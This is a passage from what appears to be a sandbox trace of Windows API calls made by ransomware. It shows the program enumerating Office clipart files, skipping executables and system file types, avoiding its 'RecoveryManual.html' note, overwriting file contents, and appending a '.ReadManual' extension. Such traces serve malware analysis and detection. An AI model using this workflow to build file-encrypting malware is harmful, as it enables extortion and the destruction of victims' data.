(hMem=0x76c1a55b) returned 0x76c1a55b [0262.024] CloseHandle (hObject=0x194) returned 1 [0262.026] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0262.026] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00414_.WMF" | out: lpString1="DD00414_.WMF") returned="DD00414_.WMF" [0262.026] lstrcmpiW (lpString1="DD00414_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.026] StrStrIW (lpFirst="DD00414_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.026] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.026] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.026] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" [0262.026] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ReadManual.5A595725" [0262.026] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.ReadManual.5A595725") returned 87 [0262.026] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38269514915) returned 1 [0262.026] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0262.027] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.027] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42908) returned 1 [0262.027] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa79c, lpName=0x0) returned 0x184 [0262.027] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.028] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.028] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.070] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.071] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa79c) returned 0x2f0000 [0262.117] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38278644959) returned 1 [0262.118] CloseHandle (hObject=0x184) returned 1 [0262.118] SetSecurityInfo () returned 0x57 [0262.118] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.118] CloseHandle (hObject=0x194) returned 1 [0262.120] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0262.120] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00419_.WMF" | out: lpString1="DD00419_.WMF") returned="DD00419_.WMF" [0262.120] lstrcmpiW (lpString1="DD00419_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.120] StrStrIW (lpFirst="DD00419_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.120] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.120] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.120] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" [0262.120] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ReadManual.5A595725" [0262.120] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.ReadManual.5A595725") returned 87 [0262.120] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38278897841) returned 1 [0262.120] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0262.121] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.121] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=712) returned 1 [0262.121] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c8, lpName=0x0) returned 0x184 [0262.121] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.174] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.174] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.211] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.211] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c8) returned 0x2f0000 [0262.211] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38288000290) returned 1 [0262.211] CloseHandle (hObject=0x184) returned 1 [0262.211] SetSecurityInfo () returned 0x57 [0262.211] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.212] CloseHandle (hObject=0x194) returned 1 [0262.213] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0262.213] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00437_.WMF" | out: lpString1="DD00437_.WMF") returned="DD00437_.WMF" [0262.213] lstrcmpiW (lpString1="DD00437_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.213] StrStrIW (lpFirst="DD00437_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.213] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.213] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.213] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" [0262.213] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ReadManual.5A595725" [0262.213] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.ReadManual.5A595725") returned 87 [0262.213] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38288216370) returned 1 [0262.213] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0262.214] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.214] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1932) returned 1 [0262.214] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78c, lpName=0x0) returned 0x184 [0262.214] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.215] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.215] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.258] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.258] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78c) returned 0x2f0000 [0262.258] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.258] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38292675082) returned 1 [0262.258] CloseHandle (hObject=0x184) returned 1 [0262.258] SetSecurityInfo () returned 0x57 [0262.258] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.258] CloseHandle (hObject=0x194) returned 1 [0262.259] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0262.259] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00448_.WMF" | out: lpString1="DD00448_.WMF") returned="DD00448_.WMF" [0262.259] lstrcmpiW (lpString1="DD00448_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.259] StrStrIW (lpFirst="DD00448_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.259] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.259] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.260] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.260] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.260] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.260] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.260] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" [0262.260] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ReadManual.5A595725" [0262.260] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.ReadManual.5A595725") returned 87 [0262.260] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38292851558) returned 1 [0262.260] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0262.304] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.305] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2952) returned 1 [0262.305] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb88, lpName=0x0) returned 0x184 [0262.305] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.305] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.351] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.351] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb88) returned 0x2f0000 [0262.351] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.351] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38302025366) returned 1 [0262.352] CloseHandle (hObject=0x184) returned 1 [0262.352] SetSecurityInfo () returned 0x57 [0262.352] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.352] CloseHandle (hObject=0x194) returned 1 [0262.353] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0262.353] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00449_.WMF" | out: lpString1="DD00449_.WMF") returned="DD00449_.WMF" [0262.353] lstrcmpiW (lpString1="DD00449_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.353] StrStrIW (lpFirst="DD00449_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.353] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.353] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.353] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" [0262.353] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ReadManual.5A595725" [0262.353] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.ReadManual.5A595725") returned 87 [0262.353] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38302225848) returned 1 [0262.354] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0262.354] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.354] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9992) returned 1 [0262.354] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2708, lpName=0x0) returned 0x184 [0262.354] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.355] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.355] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.396] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.396] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2708) returned 0x2f0000 [0262.396] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.396] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38306528279) returned 1 [0262.397] CloseHandle (hObject=0x184) returned 1 [0262.397] SetSecurityInfo () returned 0x57 [0262.397] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.397] CloseHandle (hObject=0x194) returned 1 [0262.398] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0262.398] lstrcpyW (in: lpString1=0x6ab90a, lpString2="DD00687_.WMF" | out: lpString1="DD00687_.WMF") returned="DD00687_.WMF" [0262.398] lstrcmpiW (lpString1="DD00687_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.398] StrStrIW (lpFirst="DD00687_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.398] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.398] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.398] 